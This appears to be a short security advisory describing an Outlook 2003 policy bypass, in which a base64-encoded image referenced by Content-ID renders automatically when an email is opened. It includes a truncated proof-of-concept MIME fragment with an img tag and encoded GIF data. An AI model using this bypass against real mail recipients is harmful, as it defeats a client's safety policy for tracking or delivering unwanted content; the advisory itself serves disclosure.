source: https://www.securityfocus.com/bid/11446/info

Microsoft Outlook 2003 is reported prone to a security policy bypass vulnerability.

It is reported that by including a base64 encoded image in an email and labeling that image in a sufficient manner, it is then possible to reference this base64 encoded image.

This will result in a policy bypass because the image will be automatically rendered when the email is viewed in Outlook 2003. Although this issue is reported to affect Outlook 2003, other mail transfer agents may also be affected.

<img src="cid:malware">

------=_NextPart_000_0004_01C4B234.2209FD20
Content-Type: image/gif;
name="youlickit[1].gif"
Content-Transfer-Encoding: base64
Content-ID: <malware>

R0lGODlhogCiAOb/AP////8hAP8QAP8AAPdCAPcAAO97AO8IAOfeQufWUuetY+eUA
N7OEN7OAN7G